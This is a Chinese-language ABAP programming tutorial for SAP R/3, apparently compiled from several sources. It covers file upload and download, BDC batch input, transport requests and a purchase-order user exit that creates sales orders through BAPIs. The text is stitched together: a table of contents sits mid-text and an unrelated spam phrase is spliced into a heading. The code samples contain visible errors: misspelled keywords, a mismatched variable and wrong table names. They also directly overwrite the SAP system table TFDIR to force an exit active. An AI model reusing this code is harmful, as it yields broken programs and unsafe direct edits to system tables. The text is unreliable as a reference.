            FILE_OPEN_ERROR       = 2

                     FILE_READ_ERROR       = 3

                     INVALID_TABLE_WIDTH  = 4

                     INVALID_TYPE           = 5

                     NO_BATCH               = 6

                     UNKNOWN_ERROR       = 7

                     OTHERS                  = 8.

其中: <filename>是已經准備好的TEXT FILE;

     <length>是系統返回的文件大小可省略;

     <work itab>是存放數据的internal tableupload完可以直接使用;

     EXCEPTIONS:是發生不可預知的錯誤時返回的值;

例如: 程式

二. DOWNLOAD

DOWNLOAD是將SAP中的資料 “下載” SAP支持’ASC格式’’TXT格式’’BINARY格式’等它可以直接將資料轉成TXT FILE或EXCEL格式等.

一般來講,,我們會把資料DOWNLOAD成TXT FILE所以必須預先建立一個Internal table把所要DOWNLOAD的資料存放在此Internal table中然后通過CALL FUNCTION來做DOWNLOAD.

格式: CALL FUNCTION ‘WS_DOWNLOAD’

           EXPORTING

              BIN_FILESIZE      =    255

              FILENAME         =    <pc dictionary & filename>

              FILETYPE          =    ‘ASC’

           TALBES

              DATA_TAB         =    <internal table>

           EXCEPTIONS

              FILE_OPEN_ERROR     =  1

              FILE_WRITE_ERROR    =  2

              INVALID_FILESIZE      =  3

              INVALID_TABLE_WIDTH =  4

              INVALID_TYPE         =   5

              NO_BATCH            =   6

              UNKNOWN_ERROR    =   7

              OTHERS               =   8

其中: BIN_FILESIZE 是指TXT FILE每行顯示的字節數可省;

FILENAME指定TXT FILE的路徑和文件名必須將此預先存与一變量中;

           此變量可這樣定義:

            fname1 like rlgrap-filename default 'c:\temp。txt'。

DATA_TAB指定internal table的名稱;

EXCEPTIONS:用來指定發生不可預知錯誤時返回的信息.

注意: 如果internal table中某欄位是數值型(‘I’或’P’或’F’等)則要定義成字符串      否則會DOWNLOAD到TXT 文件時成亂碼.

例如: 程式

 

 

 

 

 

 

 

 

 

 

 

 

一般來說我們會用到以下一些INCLUDE程式:

YIAUTH00: 檢查USER權限所用到的TABLE宣告;

YIAUTH01: 檢查USER權限所用到的副程式通常在主程式中可以這樣調用:

  PERFORM CHECK_BU_RANGE TABLES bu_code.   “(select-options)

  PERFORM CHECK_SINGLE_BU USING bu_code.    “(parameter)

  PERFORM CHECK_COMPANY_RANGE TABLES cmp_code。 “(select-options)

  PERFORM CHECK_COMPANY USING cmp_code.    “(select-options).

  PERFORM CHECK_PLANT_RANGE TABLES plant_code. “(select-options)

  PERFORM CHECK_SINGLE_PLANT USING plant_code.  “(parameter)

YRSTDO01:輸入畫面的固定格式

YRSTDE01:實現以上功能Screen List  Print 或者 Download等。

YIBCL001: 列印標准Title的子程式我們在主程式中可以這樣調用:
           PERFORM TITLE USING sy-linsz sy-cprog p_comp。

      這是台達的報表的標准表頭其中:sy-linsz 是每行字節數sy-cprog是主程

      式名p_comp是公司別.

YIBCL002: 列印標准頁尾的子程式我們在主程式中可以這樣調用:

     PERFORM FOOTER.  “這是台達標准表尾.

YIBCL021: 加COLUMN HEADER的子程式在主程式中可以這樣調用:

           PERFORM COLUMN_HEADER.

           (這樣就能將Report 的Attribute中的Column自動加到報表的表頭)

 

 

 

 

 

 

 

 

2. BDC PROGRAM

 BDC Program (Batch Data Communication Program) 是ABAP/4 用來載入資料異動SAP資料庫的方法,先將要輸入的資料存在BDC Table中,使用CALL TRANSACTION指令呼叫R/3輸入畫面,將輸入所需資料項自BDC Table中依序放入,最後送出按鍵控制碼,如 /11 表按下<F11>存檔,此方法用在自不同系統轉入R/3系統之資料轉換,(Data Migrarion),或者也可使用在Drill-Down報表的撰寫方式中。

. Screen of Transaction Status

user使用SAP R/3來輸入資料時,SAP R/3使用Transaction來執行工作的執行,每個Transaction都會包含一些不同的Screen ,每個Screen 被定義為一個程式名稱及一個Screen Nmber,在執行SAP R/3時選擇 “System”中的”Status”可看到如下的畫面:

 

 

如圖: Transaction Code  VA03,程式名稱是 SAPMV45A,

Screen Number是 400

 

 

 

 

 

 

. BDC Table

& BDC Table Structure

BDC Table是一個Structure,用來存放要放入輸入畫面的資料,包含有以下的欄位:

 

Field Name

Type

Description

Program

Char(8)

Program name of Transaction

Dynpro

Char(4)

Screen number of Transaction

Dynbegin

Char(1)

Indicator for new Screen

Fnam

Char(35)

Name of  Database Field from Screen

Fval

Char(80)

Value to Submit to Field

 

可在程式開始之初宣告一個Internal Table使用BDCDATA的Structure:

 

DATA  BEGIN  OF  INT_BDC  OCCURS  0。

      INCLUDE  STRUCTURE  BDCDATA.

DATA  END  OF INT_BDC.

 

如在以上的畫面中要輸入VBAK-KUNNR及 VBAK-NAME1 兩個欄位的內容,分別要填入‘34051920’ 及 ‘台達電子’,其BDC Table內容如下:

 

Program

Dynpro

Dynbegin

Fnam

Fval

SAPMV45A

0300

X

 

 

 

 

 

VBAK-KUNNR

34051920

 

 

 

VBAK-NAME1

台達電子

 

 

 

BDC_OKCODE

/nn

 

BDC_OKCODE欄位的值就是結束輸入時所要按下的鍵盤控制碼,

 

& 常用的BDC Okcode:

OKCODE     Description                                       

  /nn          Function Key nn

  /00          Enter

  /8           F8,Continue or Execute

  /11          F11,Post

  %EX        Exit

  BACK       F3,Back Previous Screen

  DLT         Delete

  PICK        Double Click

  SAVE        F11,Save

  

& 存入BDC Table的資料

   首先我們需建立兩個副程式,BDC_SCREEN是來存入Program,Dynpro和Dynbegin 三個欄位,也就是輸入畫面的程式名稱及Screen Number,BDC_FIELD:用來存入 Fnam及Fval兩個欄位,也就是輸入畫面所需填入的各個欄位內容,程式內容如:

   

* Add BDC Screen Field Data

FORM BDC_SCREEN TABLES P_BDC STRUCTURE BDCDATA

     USING P_PROGRAM P_SCREEN.

  CLEAR  P_BDC。

  P_BDC-PROGRAM  =  P_PROGRAM.

  P_BDC-DYNPRO   =  P_SCREEN.

  P_BDC-DYNBEGIN = 'X'。

  APPEND  P_BDC.

ENDFORM.

 

* Add BDC Field Data

FORM BDC_FIELD TABLES P_BDC STRUCTURE BDCDATA

     USING P_NAME  P_VALUE.

  CLEAR P_BDC.

  CASE  P_VALUE.

    WHEN ''.

    WHEN OTHERS.

      P_BDC-FNAM  =  P_NAME.

      P_BDC-FVAL  =  P_VALUE.

      APPEND  P_BDC.

  ENDCASE.

ENDFORM。

 

 

 

 

接下來在程式中去呼叫這兩個副程式來填入資料,程式敘述如下:

   PERFORM BDC_SCREEN  TABLES  INT_BDC

      USING  'SAPMV45A'  '0300'.

   PERFORM BDC_FIELD  TABLES  INT_BDC:

     USING  'VBAK-KUNNR'  ‘34051920’

     USING  'VBAK-NAME1'  ‘台達電子’

     USING  'BDC_OKCODE'  '/00'.       " Save and end

  

6。3 Call Transaction指令

將資料依序填入BDC Table後要寫入R/3的Database時要使用 CALL TRANSACTION

指令,指令格式如下:

 

   CALL  TRANSACTION  WITH  <tcode>

                          USING  <BDC Table>

                          MODE  <Display Mode>

   <Display Mode> 可分成:

   A      Show all Screen

   E      Show only Screen with Error

   N      Show no Screen

 

:

   CALL  TRANSACTION  'VA03'

             USING  INT_BDC

             MODE  'E'.

 

6。4 Example for BDC Program

例如我們想經由BDC Program將Sales Empolyee的資料由ASCII Text File去更新 R/3

資料庫Sales Empolyee 的 Persolnal Data, 會有以下兩個畫面要輸入:

 

Program Name是 SAPMP50A,Screen Number 1000,Transaction Code 是 PAL3

 

Program Name是 SAPMP50A,Screen Number 2042,Transaction Code 是 PAL3

 

 

Screen 1000 要填入的資料是

Description        Field Name         Value

Personal Number   RP50G-PERNR      242147

Info Type          RP50G-CHOIL      Personal Data

 

Screen 2042 要填入的資料是

Description        Field Name         Value

From Date         P002-BEGDA       01/13/1969

To Date           P002-ENDDA       12/31/9999

Last Name         P002-NACHN       Dora

First Name         P002-VORNA       Cheng

 

欲轉入的ASCII Text File檔名是 empoly.txt,其格式為

Description        Length   Position      Value

Personal Number     10         1        242147

Info Type           20        11        Personal Data

From Date          10        31        01/13/1969

To Date            10        41        12/31/9999

Last Name          20        61        Dora

First Name          20        81        Cheng

 

程式如下:

 

*  PROGRAM SOURCE HEADER  

* Program Name: ZTBDC00

* Description:  Change Sales Empolyee Data Using BDC Program* Date/Author:  1998/06/10 周慶日* Table Update:

* Special Logic:* Include:*---------------------------------------------------------------

*  MODIFICATION LOG

*---------------------------------------------------------------

* ChangeDate Programmer    Request      Description

* ========== ============= ============ ==========================

* 1998/06/10 Chou                       NEW PROGRAM

*----------------------------------------------------------------------------

 

* REPORT NAME  

*------------------------------------------------------------------REPORT ZTBDC00

       NO STANDARD PAGE HEADING

          MESSAGE-ID ZZ

          LINE-COUNT 60  

          LINE-SIZE  80.

  *DATA

*----------------------------------------------------------------

TABLES: RP50GP002.

DATA: BEGIN OF INT_BDC  OCCURS  0。      INCLUDE  STRUCTURE  BDCDATA.

DATA: END  OF  INT_BDC.

 

* Work Internal Table

DATA: BEGIN OF IN_REC

     PERNR   LIKE  RP50G-PERNR

     CHOIL   LIKE  RP50G-CHOIL

     BEGDA  LIKE   P002-BEGDA 

     ENDDA  LIKE   P002-ENDDA

     NACHN  LIKE   P002-NACHN

     VORNA  LIKE   P002-VORNA

      END  OF  IN_REC。

 

DATA: P_FILE(30)  VALUE  ‘empoly.txt’.  “ASCII Text File Name        * INITIALIZATION *----------------------------------------------------------------INITIALIZATION. 

* AT START SELECTION

*---------------------------------------------------------------START-OF-SELECTION.  PERFORM READ_DATA。

  PERFORM PROCESS_DATA.

  

*  END OF SELECTION

*---------------------------------------------------------------------END-OF-SELECTION.  PERFORM  CLEAN_UP.

 

* FORM

*-------------------------------------------------------------

* Read Data  OPEN ASCII Text File

*-------------------------------------------------------------FORM READ_DATA。  OPEN  DATASET  P_FILE  FOR  INPUT  IN  TEXT  MODE.  

  IF  SY-SUBRC  NE  0.

     MESSAGE  E999  WITH  ‘Cannot  Open ‘  P_FILE。

  ENDIF.  

 

ENDFORM。

 

 

* Process Data

*-------------------------------------------------------------FORM PROCESS_DATA。  DO.

    READ DATASET P_FILE  INTO  IN_REC.  “Add Data To Internal Table

IF SY-SUBRC  NE  0.

   EXIT。

ENDIF.

 

PERFORM  BUILD_BDC.    “Add to BDC Table

PERFORM  SUBMIT_BDC。  “Call Transaction Code To Change Data

 

 ENDDO. 

ENDFORM.

 

*----------------------------------------------------

* Add Data to BDC Table

FORM BUILD_BDC。

  PERFORM  BDC_SCREEN  TABLES  INT_BDC  

           USING  ‘SAPMP50A’  ‘1000’。

  PERFORM  BDC_FIELD  TABLES   INT_BDC:

           USING  ‘RP50G-PERNR’ IN_REC-PERNR

           USING  ‘RP50G-CHOIL’  IN_REC-CHOIL

           USING  ‘BDC_OKCODE’  ‘/00’.

  PERFORM  BDC_SCREEN  TABLES  INT_BDC  

           USING  ‘SAPMP50A’  ‘2042’.

 PERFORM  BDC_FIELD  TABLES   INT_BDC:

           USING  ‘P0002-BEGDA’ IN_REC-BEGDA

           USING  ‘P0002-ENDDA’ IN_REC-ENDDA

           USING  ‘P0002-NACHN’ IN_REC-NACHN

           USING  ‘P0002-VORNA’ IN_REC-VORNA

           USING  ‘BDC_OKCODE’  ‘/11’.

  ENDFORM。

 

*----------------------------------------------------------------

* Call Transaction Code to Execute Change Data

FORM  SUBMIT_BDC.

  CALL  TRANSACTION  ‘PAL3’  USING  INT_BDC

        MODE  ‘N’.

  REFRESH  INT_BDC.  “將BDC Table資料清除

ENDFORM。

 

*------------------------------------------------------------------

* Close ASCII Text File

FORM  CLEAN_UP。

  CLOSE  DATASET  P_NAME.

  IF  SY-SUBRC  NE  0.

     MESSAGE  E999  WITH  ‘Cannot  Close ‘ P_FILE.

  ENDIF.  

 

ENDFORM。

 

*------------------------------------------------------------------

* Add BDC Screen Field Data

*---------------------------------------------------------------------------------------------------

FORM BDC_SCREEN TABLES P_BDC STRUCTURE BDCDATA

     USING P_PROGRAM P_SCREEN。

  CLEAR  P_BDC。

  P_BDC-PROGRAM  =  P_PROGRAM.

  P_BDC-DYNPRO   =  P_SCREEN.

  P_BDC-DYNBEGIN = 'X'.

  APPEND  P_BDC.

ENDFORM.

 

* Add BDC Field Data

*----------------------------------------------------------------------------------------------

FORM BDC_FIELD TABLES P_BDC STRUCTURE BDCDATA

     USING P_NAME P_VALUE。

  CLEAR  P_BDC。

  CASE  P_VALUE.

    WHEN ''.

    WHEN OTHERS.

      P_BDC-FNAM  =  P_NAME.

      P_BDC-FVAL  =  P_VALUE。

      APPEND  P_BDC。

  ENDCASE.

ENDFORM.

 

 

 

 

12.深入ABAP工作台

在这章将深入介绍各种ABAP对象的操作.

 

13.传输请求

这节并不是侧重介绍如何配置传输请求和其运行机制的这通常是basis的工作和ABAPer并无关系还是那句话了解点大概是必要的.

 

通常企业起码会有两个系统开发(测试)系统和生产系统(有些企业开发任务相对少开发和测试使用同一台server甚至同一client开发和测试也都有ABAPer完成)如果要严格开发流程开发测试必须是分开的(为了节省当然可使用同一server不同的Client甚至用不同System Number逻辑分成两Server)在此不深入讨论.

 

熟悉几个名词:

1开发类(Development Class)。

开发类可简单理解为逻辑上相关的一组ABAP对象在将来传输时将使用同一传输层.实际上开发类本身也可看做是一个ABAP对象可使用SE80建立.

$TMP是本地开发类属于此开发类的任何ABAP对象(包括自定义的表编写的程序等都只能在Client做测试用而不能被传输到其他Client.

     包现在被用来代退开发类.

2.包(Package)

     相关的ABAP对象被组合在一个包内SE16:TADIR可看到被分配到某包的所有的ABAP对象包决定了这些对象的传输层.

所有的包被存在表TDEVC中建立包可使用SE80或直接使用SM30:V_TDEVC.

 

包作为开发类的退代和前身有这么几个加强特征.

1.包可嵌套使用(这点类似Java package)

2。包类可包含最多本包中可见的对象这些对象在包外不可见

  这点类似私有对象(Private object)OOP中也很常见.

3.包可为包接口定义使用访问授权.

4.通常自定义包必须是Y或Z前坠这点和其他ABAP对象相同(包其实也可看做ABAP对象).其他一些包前坠 A-S U-X表示SAP标准包T私有测试包$本地临时包/***名字空间前坠.

3。传输层(Transport Layer)

传输层决定包内对象是分配给本地还是可产生传输请求.

通常开发系统都被分配了一个标准的传输层当包被建立时.它就被分配了一个标准传输层.包内对象也立即自动获得相关传输属性.

 

相关IMG配置使用的是标准的传输层.

通常由basis使用Tcode STMS配置传输管理系统维护传输曾和路由.

2.13-1显示的是从DVU开发的程序传输到QAS和PRD的传输路由在图中程序在DVU server的client 210100开发后被传输到QAS Client 310测试成功后被分别传入PRD Client 800810和820 。

 

 

4.传输请求

程序是究竟保存在server的什么地方?程序是如何在不同client和server之间进行传输的?要明白这问题首先让我们看看什么是传输程序和传输控制程序.

 

传输控制程序TP和R3TRANS传输程序R3TRANS被用来实现SAP各Client间的数据传输和不同版本迁移TP传输控制程序根据传输参数(Transport Profile)调用R3TRANS传输程序.

 

 

 

14.和其它语言的交互

VBDelphiJava其实开发工具使用都简单别人都弄出开发环境都给弄出了学用还会难吗?

.实战篇

在这一篇将介绍企业常用模块开发实例,其中可能还涉及一些辅助相关后台配置,每个模块的8个实例是经过精心挑选出的具有相当代表性由于篇幅原因和各个企业实际需求可能不一样有的可能在本书只描述了设计思路和部分源代码希望读者在实际运用中能自行完善并能举一反三。除非必要尽量使用SAP标准的报表少自行开发另外如有可能使用信息结构.

 

1.MM模块开发实例.

(1).MM常用表格及其关联关系图

 

(2).开发实例

下面是一个企业的参考MM开发需求清单(并不包括用户出口等).

供应商列表|信息记录|PRPO打印(Scrip或Smartform)|MRB物料清单|物料报废报表|物料入库报表|物料运输申请单|物料主数据查询报表|收货单打印|IQC报表|Pull List|发料单(生产定单)|物料转移单|Delivery notes|Packing List|RMA发料单|库存分析报告|PO分析报告|GR/IR分析报告|物料盘点单|盘点物料报告等.

如项目紧急而开发人手不足(有些中小企业专职的ABAPer可能只有一个或各模块的SAP内部支持顾问兼做开发),必须排定开发优先次序除了比如PO套打收货单打印等必须在项目正式上线前完成的开发任务,相关查询报表可在上线后开发.

如果是专职负责开发,依旧需要很好理解业务最好和负责业务支持的多沟通,一个最有效的方法就是将相关模块的业务流程(通常在业务蓝图阶段会有非常详细的相关资料)在测试系统走一遍这样对以后开发是大有益处的.

1.MM相关单据打印

PO和收货单打印开发

NACEMB04外协PO.

2.PO增强编程

PO change history

*&---------------------------------------------------------------------*

*&  Include           ZXM06U42                                         *

*&---------------------------------------------------------------------*

DATA : ZWATEKPO like BEKPO

       ZIEINFO  LIKE EINFO OCCURS 0 WITH HEADER LINE,

       ZERMSG(73) TYPE C.

TABLES EKBE .

***TEKPO records all the old PO item date .

*** I_EKPO records currently processed PO item .

READ TABLE TEKPO INTO ZWATEKPO   WITH KEY EBELP = I_EKPO-EBELP .

***只对ME22N才生效。

CHECK SY-TCODE = 'ME22N '。

***EKBE是PO history 表如有QR表示有发票校验历史不允许更改价##

SELECT  SINGLE * FROM EKBE

   WHERE EBELN = I_EKPO-EBELn

         AND EBELP = I_EKPO-EBELP

         AND ( BEWTP = 'Q' OR BEWTP = 'R')。

CHECK SY-SUBRC = 0 .

***如果SY-SUBRC =0表示发票已经校验,不允许更改价格,否则还是可更改价格##

IF I_EKPO-NETPR <> ZWATEKPO-NETPR .

*** Change e017(ZFIMSG) accordingly

*   MESSAGE e017(ZFIMSG)."使用下面函数代替.

  CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'

        EXPORTING

          I_ARBGB = 'ZFIMSG'

          I_DTYPE = ''

          I_MSGNR = '017'

        IMPORTING

          E_MSGTY = SY-MSGTY。

  CHECK SY-MSGTY NE '-' .

  REFRESH ZIEINFO.

  ZIEINFO-MSGID = 'ZFIMSG'.

  ZIEINFO-MSGNO = '017' 。

  ZIEINFO-MSGV1 = 'VAR1'.

  ZIEINFO-MSGV2 = 'VAR2'.

  APPEND ZIEINFO 。

  CALL FUNCTION 'MESSAGE_GET_TEXT'

    EXPORTING

      IEINFO   = ZIEINFO

      ILANGU   = SY-LANGU

    IMPORTING

      ETEXT    = ZERMSG .

      MESSAGE ZERMSG TYPE SY-MSGTY .

ENDIF.

 

             自动建立PO和SO

 

      2

.基础篇 2

1.什么是ABAP ? 3

2.ABAP开发环境的建立 6

3.第一个程序-Hello World. 7

4.ABAP语法简介 8

5.Open SQL和Native SQL 20

6。内表和工作区 23

7.消息和错误处理 29

8.使用用户授权 37

9.调用外部程序和程序动态生产 37

10.选择屏幕 37

11。模块化开发 42

.加强篇. 49

12。深入ABAP工作台 61

13.传输请求 61

14。和其它语言的交互 63

.实战篇 63

1。MM模块开发实例。 63

(1)。MM常用表格及其关联关系图 63

(2).开发实例 64

1。MM相关单据打印 64

2。PO增强编程 64

3. SE11建立一记录表ZPOSO 67

4。 使用PO User_exit 68

2.SD模块开发实例. 79

3.PP模块开发实例. 80

4.FI模块开发实例. 80

1.编写财务报表 80

2。财务凭证的确定(Validation) 80

3.财务凭证的退代(Substitution) 87

5. Basis相关开发实例 100

1.删除传输请求 100

3。致命SAP权限控制漏洞 102

4。再谈开发权限漏洞 107

6. 开发项目流程简介. 114

附录: 118

1.ABAPer常用Tcode 118

ABAPer 常用Tcode 118

***本程序思路同样适合从建立Sales order时自动建立PO 只是调用的function是BAPI_CREATE_PO和使用creating SO时的User_exit而已

安卓棋牌游戏3. SE11建立一记录表ZPOSO

如图建立一个表ZPOSO俩个用途

1. 保存PO到SO的联系以方便将来查询

2. 判断PO是create还是change (比如ME22N update PO qtyor delete PO line。)

3. 判断

***注意EBELN和EBELP合起来才是key fields相当于DB层的Primary key

 

4. 使用PO User_exit

EXIT_SAPMM06E_001 (002004006007009) 006是PO还未create前检查的.

EXIT_SAPMM06E_016 017此时虽然有PO item数据但是PO No。还没有给出。

EXIT_SAPMM06E_009 PO已经建立并且数据已经refresh .

所以使用EXIT_SAPMM06E_013

在使用之前必须update TFDIR表将MAND设置成”C”.程序如下:

REPORT Zupdate .

data ztfdir like tfdir occurs 0 with header line .

select * from tfdir into table ztfdir where FUNCNAME =

'EXIT_SAPMM06E_013'.

loop at ztfdir .

ztfdir-MAND = 'C' .

modify ztfdir index sy-tabix TRANSPORTING  MAND.

endloop.

update tfdir from ztfdir。

 ***由于只有一笔使用Work area就可搞定所以要这样霸王强上弓是没有找到配置在哪里.

  REPORT ZTEST11 .

 

 

  data ztfdir like tfdir  .

  select single * from  tfdir into  ztfdir where FUNCNAME =

  'EXIT_SAPMM06E_013'.

  ztfdir-MAND = 'C' 。

  update tfdir from ztfdir。

 

*** 通过在LSMODU23(Function: MODX_FUNCTION_ACTIVE_CHECK设置断点很容易找出已经有POuser_exit)

SE37 : MODX_FUNCTION_ACTIVE_CHECK

在如下图中设置断点.

你就会发现TFDIR(Function Module)MAND必须=AKTIV_FLAG (值就是C)才会call相应的User_exit函数

 

用户增强: 所有的Enhancement在表MODSAP用户增强大概有三类

MODSAPEnhancement TFDIR是看是否此enhancement被激活就看字段MAND是否是”C”而已

1。 E Enhancement exits :就是常说的写User_exit

2. C GUI codes 没用过

3. 3. S Subscreens 屏幕增强

OK其实上面不用coding 通过search MODSAP发现EXIT_SAPMM06E_013 在Enhancement MM06E005中.

使用T-code :SMOD F8 test运行然后可激活EXIT_SAPMM06E_013     如果你确实找不到enhancement name和exit函数对应关系也没关系. 使用SMOD自己建立一个Enhancement 比如叫

ZPOSO 然后你将function 加入它也会有错误提示告诉你它属于的enhancement还有就是使用上面的code直接update .

你自己可写个code将所有的user_exit找出来很容易的哟.如你完全明白这篇文章我想你就理解了user_exit 和BAPI的使用. 建立BAPI并使用其它语言call同样很简单.

 

 

EXIT_SAPMM06E_013 include程序 ZXM06U44

coding前使用SE37 test BAPI :BAPI_SALESORDER_CREATEFROMDATA

***注意各企业因为设置的fields status不同可能有所不同。

ORDER_HEADER_IN只需下面几个参数

 

ORDER_ITEMS_IN只需要MATERIALREQ_QTY—(Order qty in sales units - 00009001 corresponds to 9。001就是说call BAP REQ_QTY测试时= actual qty * 1000)

 COND_TYPE COND_VALUE(即对应到price很奇怪必须/10 不知其他系统是否这样此是注意点)

 PO_METH_S(Ship-to party purchase order type如果设置了必须输入的话)

ORDER_PARTNERS如果SP和SH相同的话只要一条SP然后输入customer No就可如果ship-to-party不同多家一条SH+customer No.吧.

 

还有一样要注意. AG—SP RE—BP  

—SH (SAP经常有这样的case就是save在DB中的数据和display出来的数据有所不同 为什么要这样 不得而知难怪SAP不推荐直接使用DB table 做报表或者这是SAP AG的一个策略)

 

测试OK.开始coding  on ZXM06U44 Source code 如下log写在ZPOSO表中.

 

 

 

 

 

测试使用BAPI_SALESORDER_CHANGE

就是说它实际是call BAPI_SALESDOCUMENT_CHANGE的

你可知道ORDER_HEADER_INX-UPDATEFLAG为U时是updateD时是Delete sales order不选还不行.

 

好了下面是Source Code(仅供参考大体框架OK可能根据你的SAP实际情况做些调整) .

*----------------------------------------------------------------------*

*   INCLUDE ZXM06U44

*   company 1000建立PO时同时建立SO in 1000PO in 2000              *

*   注意此程序会反复call 。

*----------------------------------------------------------------------*

data:

 ZORDER_HEADER_IN like BAPISDHEAD

 ZORDER_ITEMS_IN like BAPIITEMIN occurs 0 with header line

 ZORDER_PARTNERS like BAPIPARTNR occurs 0 with header line

 ZSALESDOCUMENT like BAPIVBELN-VBELN

 ZRETURN like BAPIRETURN 。

 

Data:

  ZPOHEADER like BAPIEKKOC

  ZPOITEMS  like BAPIEKPOC occurs 0 with header line

  ZPO_ITEM_SCHEDULES like BAPIEKET occurs 0 with header line

  ZPURCHASEORDER like BAPIEKKOC-PO_NUMBER .

tables :ZPOSO .

data zposolog like zposo occurs 0 with header line.

data : Zrepcall(1) type C.  "防止反复调用BAPI_PO_CREATE。

 

Refresh : ZORDER_ITEMS_IN .

*** 实际应用根据I_EKKO-EBELN(其实从EBELN-PO No。可判断出plant)

*** 1.I_EKKO-EBELN前面5位用case语句判断

*** 2.根据I_EKKO-BUKRS(comp. code)XEKPO-WERKS(plant)判断

***   company code 2000是专门用来采购的HK 公司.

 

*if I_EKKO-BUKRS <> '1000'。

*  exit.

*endif。

check I_EKKO-BUKRS eq '1000'. "只对comp 1000适用.

***判断表ZPOSO有无PO no.call BAPI_SALESORDER_CREATEFROMDATA create SO

*** 如果存在call BAPi BAPI_SALESORDER_CHANGE change SO.

***注意在ME22N change PO时间XEKPO内表中只保留了被改变line item的数据.

select single * from ZPOSO where EBELN eq I_EKKO-EBELN.

if  sy-subrc eq 0 .

* Change Sales OrderPurchase Order留给你自己写不告诉你

*CALL FUNCTION 'BAPI_SALESORDER_CHANGE'

*CALL FUNCTION 'BAPI_PO_CHANGE'

 

else .   "建立Purchase Order Sales Order

*** 从ZFLAG表中读取Zrepcall看是否是T, 不管使用什么方法总之不要反复

**在此处设置断点在第二次调用时将Zrepcall设成T退出。

**好象无法设置到那种真正的全局变量只好使用一个表罗

**你就会发现当在comp 1000建立PO同时也建立了SO并且comp 2000也有PO

*select single Zrepcall into Zrepcall from zflag 。

if Zrepcall = 'T' .

   exit .

endif.

***注意使用PO另一个user_exit 001Zflagzrepcall设置成F

***接下来的语句立即update zflagzrepcall设置成T.

***----------------------------------------------***

*** 开始建立Purchase  Order in company 2000      ***

***----------------------------------------------***

***----------------------------------------------***

*** 开始建立Sales Order in same company 1000     ***

***----------------------------------------------***

***根据公司实际更改ZOR是标准Sales order

***----Sales Order Header --- ***

  ZORDER_HEADER_IN-DOC_TYPE = 'ZOR'.

  ZORDER_HEADER_IN-SALES_ORG = '1100'。

  ZORDER_HEADER_IN-DISTR_CHAN = '11'.

  ZORDER_HEADER_IN-DIVISION = '11'。

  ZORDER_HEADER_IN-CURRENCY = I_EKKO-WAERS. "Order currency

  ZORDER_HEADER_IN-PURCH_NO = I_EKKO-EBELN .

***---Purchase Order Header ---***

  ZPOHEADER-PURCH_ORG = I_EKKO-EKORG. "正式使用换2000的采购组织

  ZPOHEADER-PUR_GROUP = I_EKKO-EKGRP . "正式使用换comp2000的采购组

  ZPOHEADER-CO_CODE = '2000' .

  ZPOHEADER-VENDOR = I_EKKO-LIFNR .

  ZPOHEADER-DOC_TYPE = 'NB' . "I_EKKO-BSART.

 

 

***根据PO item写入SO item和另家公司的PO items

 

  loop at XEKPO .

***----SO items ---***

    ZORDER_ITEMS_IN-ITM_NUMBER = XEKPO-EBELP .

* 使PO item NOSO item No完全相对应POSO itemmanual input。

    ZORDER_ITEMS_IN-MATERIAL =  XEKPO-MATNR.                "'08K2555'.

    ZORDER_ITEMS_IN-REQ_QTY =  XEKPO-MENGE .

    ZORDER_ITEMS_IN-REQ_QTY = ZORDER_ITEMS_IN-REQ_QTY * 1000  。

* Call SO BAPIQty  测试时间必须乘上1000.ABAP中则不用

    ZORDER_ITEMS_IN-COND_TYPE =  'ZPR1'. "ZPR1EST定义的price cond.

    ZORDER_ITEMS_IN-COND_VALUE = XEKPO-NETPR。

    ZORDER_ITEMS_IN-COND_VALUE = ZORDER_ITEMS_IN-COND_VALUE / 10 。

*Call SO BAPI testPrice必须/10

    ZORDER_ITEMS_IN-PO_METH_S = '010' 。 "表示是维修期EST设置成必输字段.

    Append ZORDER_ITEMS_IN 。

 

***---写另公司的PO items如果有必要让俩公司PO外部给号PONo可一致---***

    ZPOITEMS-PUR_MAT = XEKPO-MATNR。

    ZPOITEMS-PLANT = XEKPO-WERKS   。

    ZPOITEMS-NET_PRICE = XEKPO-NETPR.

***仅仅是test注意XEKETshedules delivery date item不同哟.自己去加强吧

    ZPO_ITEM_SCHEDULES-DELIV_DATE = SY-DATUM . " XEKET-EINDT

    ZPO_ITEM_SCHEDULES-QUANTITY = XEKPO-MENGE .

    append ZPOITEMS 。

    append ZPO_ITEM_SCHEDULES .

  endloop.

 

 

***为了简单就将SP-Sold_to_PartySH-Ship_to_Party设置成相同.

***AG-SP:sold_to  WE:SH Shipping-toBAPI测试只要SPcall时则要求俩者

***下面假设PO vendor no就是SO customer no如非就建立对应关系。

  ZORDER_PARTNERS-PARTN_ROLE = 'AG'.

  ZORDER_PARTNERS-PARTN_NUMB = I_EKKO-LIFNR.

***实际应用时HK开PO时产生的SO customer当然只有一个就是SZ公司.

  Append ZORDER_PARTNERS .

  ZORDER_PARTNERS-PARTN_ROLE = 'WE'.

  ZORDER_PARTNERS-PARTN_NUMB = I_EKKO-LIFNR.

  Append ZORDER_PARTNERS .

 

  CALL FUNCTION 'BAPI_SALESORDER_CREATEFROMDATA'

    EXPORTING

      ORDER_HEADER_IN          = ZORDER_HEADER_IN

   IMPORTING

     SALESDOCUMENT            = ZSALESDOCUMENT

*   SOLD_TO_PARTY            =

*   SHIP_TO_PARTY            =

*   BILLING_PARTY            =

     RETURN                   = ZRETURN

    TABLES

      ORDER_ITEMS_IN           = ZORDER_ITEMS_IN

      ORDER_PARTNERS           = ZORDER_PARTNERS

*   ORDER_ITEMS_OUT          =

*   ORDER_CFGS_REF           =

*   ORDER_CFGS_INST          =

*   ORDER_CFGS_PART_OF       =

*   ORDER_CFGS_VALUE         =

*   ORDER_CFGS_BLOB          =

*   ORDER_CCARD              =

            .

  if ZSALESDOCUMENT <> '' .

    loop at XEKPO .

      zposolog-ebeln = I_EKKO-EBELN. "PO No.

      zposolog-ebelp = XEKPO-EBELP.  "PO item No.

      zposolog-vbeln = ZSALESDOCUMENT."SO No.

      zposolog-posnr = XEKPO-EBELP . "SO Item NO.

      zposolog-waers = I_EKKO-WAERS 。 "Currency

      zposolog-matnr = XEKPO-MATNR . "Material

      zposolog-kwmeng = XEKPO-MENGE. "PO/SO qty

      zposolog-netpr = XEKPO-netpr。  "PO/SO price

      zposolog-bapimsg = 'Creation OK' .  "ZRETURN-MESSAGE .

      zposolog-flag = 'T'. "Failure

      append zposolog .

      insert ZPOSO     from zposolog.

    endloop.

  else。

    zposolog-ebeln = I_EKKO-EBELN。

*  zposolog-bapimsg = ZRETURN-MESSAGE .

***为了好SE91查找message合并message type messge codemessage text

  concatenate ZRETURN-TYPE '--' ZRETURN-CODE '--:' ZRETURN-MESSAGE into

